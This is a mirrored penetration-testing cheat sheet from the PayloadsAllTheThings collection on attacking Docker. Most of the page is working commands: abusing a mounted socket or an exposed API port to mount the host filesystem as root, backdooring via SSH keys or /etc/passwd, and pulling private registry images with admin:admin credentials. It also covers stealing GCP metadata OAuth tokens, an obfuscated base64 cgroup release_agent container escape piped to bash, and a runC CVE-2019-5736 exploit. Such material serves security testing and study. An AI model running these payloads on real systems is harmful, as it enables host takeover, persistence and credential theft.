mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-23 04:46:10 +00:00
149 lines
7.5 KiB
Markdown
149 lines
7.5 KiB
Markdown
# Docker Pentest
|
||
|
||
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
|
||
|
||
## Summary
|
||
|
||
- [Tools](#tools)
|
||
- [Mounted Docker Socket](#mounted-docker-socket)
|
||
- [Open Docker API Port](#open-docker-api-port)
|
||
- [Insecure Docker Registry](#insecure-docker-registry)
|
||
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
|
||
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
|
||
- [References](#references)
|
||
|
||
## Tools
|
||
|
||
* Dockscan : https://github.com/kost/dockscan
|
||
```powershell
|
||
dockscan unix:///var/run/docker.sock
|
||
dockscan -r html -o myreport -v tcp://example.com:5422
|
||
```
|
||
|
||
## Mounted Docker Socket
|
||
|
||
Prerequisite:
|
||
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
|
||
|
||
Usually found in `/var/run/docker.sock`, for example for Portainer.
|
||
|
||
```powershell
|
||
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
|
||
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
|
||
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
|
||
```
|
||
|
||
|
||
## Open Docker API Port
|
||
|
||
Prerequisite:
|
||
* Docker runned with `-H tcp://0.0.0.0:XXXX`
|
||
|
||
```powershell
|
||
$ nmap -sCV 10.10.10.10 -p 2376
|
||
2376/tcp open docker Docker 19.03.5
|
||
| docker-version:
|
||
| Version: 19.03.5
|
||
| MinAPIVersion: 1.12
|
||
```
|
||
|
||
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
|
||
|
||
```powershell
|
||
$ export DOCKER_HOST=tcp://10.10.10.10:2376
|
||
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
|
||
or
|
||
$ docker -H open.docker.socket:2375 ps
|
||
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
|
||
or
|
||
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
|
||
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
||
```
|
||
|
||
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
|
||
|
||
|
||
## Insecure Docker Registry
|
||
|
||
Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
|
||
|
||
```powershell
|
||
curl https://registry.example.com/v2/<image_name>/tags/list
|
||
docker pull https://registry.example.com:443/<image_name>:<tag>
|
||
|
||
# connect to the endpoint and list image blobs
|
||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
|
||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
|
||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
|
||
# download blobs
|
||
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
|
||
# automated download
|
||
https://github.com/NotSoSecure/docker_fetch/
|
||
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
|
||
```
|
||
|
||
Access a private registry and start a container with one of its image
|
||
|
||
```powershell
|
||
docker login -u admin -p admin docker.registry.local
|
||
docker pull docker.registry.local/wordpress-image
|
||
docker run -it docker.registry.local/wordpress-image /bin/bash
|
||
```
|
||
|
||
Access a private registry using OAuth Token from Google
|
||
|
||
```powershell
|
||
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
|
||
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
|
||
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
|
||
```
|
||
|
||
## Exploit privileged container abusing the Linux cgroup v1
|
||
|
||
Prerequisite (at least one):
|
||
* `--privileged`
|
||
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
|
||
|
||
```powershell
|
||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
|
||
```
|
||
|
||
Exploit breakdown :
|
||
|
||
```powershell
|
||
# On the host
|
||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||
|
||
# In the container
|
||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||
|
||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||
|
||
echo '#!/bin/sh' > /cmd
|
||
echo "ps aux > $host_path/output" >> /cmd
|
||
chmod a+x /cmd
|
||
|
||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||
```
|
||
|
||
## Breaking out of Docker via runC
|
||
|
||
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
|
||
|
||
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
|
||
|
||
```powershell
|
||
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
|
||
$ docker run --rm cve-2019-5736:malicious_image_POC
|
||
```
|
||
|
||
## References
|
||
|
||
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
|
||
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
||
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
|
||
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) |